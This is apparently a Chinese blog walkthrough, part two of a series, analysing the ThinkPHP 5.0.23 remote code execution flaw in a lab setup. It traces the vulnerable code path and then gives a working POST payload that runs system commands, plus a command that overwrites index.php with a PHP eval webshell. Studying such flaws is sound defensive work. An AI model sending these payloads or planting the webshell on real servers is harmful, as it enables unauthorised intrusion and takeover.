ThinkPHP5 5.0.23 远程代码执行漏洞( 二 )


我们在返回input方法 , 解析过滤器之后 , 我们发现执行了判断$data是否为数组 , 如果不是数组就可以将每个值作为一个参数用filterValue进行过滤

ThinkPHP5 5.0.23 远程代码执行漏洞

文章插图
 
我们发现sever方法中的 , $this->server被赋予的是一个超全局变量 , 那么我们就可以在调用析构方法的时候 , 我们也可以对$this->server的值进行覆盖
ThinkPHP5 5.0.23 远程代码执行漏洞

文章插图
 
在filterValue方法中 , 调用了call_user_func方法导致了代码执行
ThinkPHP5 5.0.23 远程代码执行漏洞

文章插图
 
这时候发现在在App类中 , 找到一处调用了$request->param();
ThinkPHP5 5.0.23 远程代码执行漏洞

文章插图
 
在调用param方法之前 , 进行了未设置调度信息则进行 URL 路由检测的功能 。用routeCheck方法来设置$dispatch 。然后用exec方法
ThinkPHP5 5.0.23 远程代码执行漏洞

文章插图
 
$config变量是通过initCommon方法中的init方法初始化的
ThinkPHP5 5.0.23 远程代码执行漏洞

文章插图
 

ThinkPHP5 5.0.23 远程代码执行漏洞

文章插图
 
RouteCheck方法 , 加载config文件导入路由配置 , 然后通过Route::import加载路由
ThinkPHP5 5.0.23 远程代码执行漏洞

文章插图
 
我们根据路由检测规则 , $method给的值不同返回的结果也会不同
Router类中的check方法控制了check函数中的$item变量也就控制了check方法最终返回的值 , 同时也控制了App类中的调度信息$dispath , 而$dispath在App类中的run方法中被exec方法调用
ThinkPHP5 5.0.23 远程代码执行漏洞

文章插图
 
这里使用了switch语句判断$dispath['type']来执行相应的代码 。
之前 , 我们需要调用Request类中的param方法来对filter变量的覆盖 。
如果$dispath['type']是controller或者是method的时候可以直接调用param方法 。
当我们让$dispath['type']=function的时候 , 调用了invokeFunction方法, invokeFunction方法调用了bindParams方法也对param方法进行了调用 。
我们控制了url中的s参数的值可以设置不同的$method , 让routeCheck返回$dispath 。
我们将控制的url参数s的设置为captcha , 并且设置post数据
所以此时可以构造payload:
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
 
0x03漏洞危害等级
严重
 
0x04漏洞利用
1、 在网页上构造payload(可以利用burp , 也可以在POST上传)
(1)查看目录下的文件(ls)
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls
ThinkPHP5 5.0.23 远程代码执行漏洞

文章插图
 

ThinkPHP5 5.0.23 远程代码执行漏洞

文章插图
 
(2)查看id
ThinkPHP5 5.0.23 远程代码执行漏洞

文章插图
 

ThinkPHP5 5.0.23 远程代码执行漏洞

文章插图
 
(3)查看当前目录
ThinkPHP5 5.0.23 远程代码执行漏洞

文章插图
 

ThinkPHP5 5.0.23 远程代码执行漏洞

文章插图
 
(4)查看ip等信息(由于环境搭建在ubuntu , 要用到sudo命令 , 所以可能查不了)
 
(5)这时候我们还可以更改上述payload中的
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd
将其改为phpinfo , 发现是可以输出关于 PHP 配置的信息
ThinkPHP5 5.0.23 远程代码执行漏洞

文章插图
 
2、 利用蚁剑工具getshell
为什么使用蚁剑工具?
由于存在过滤 , 需要用到base64加密来使我们的一句话木马上传成功
我们知道了一定存在index.php这个文件 , 那么我们就对其进行修改为一句话木马的样式
利用 echo “<?php @eval($_POST[‘xss’]);?>” >index.php 进行测试


推荐阅读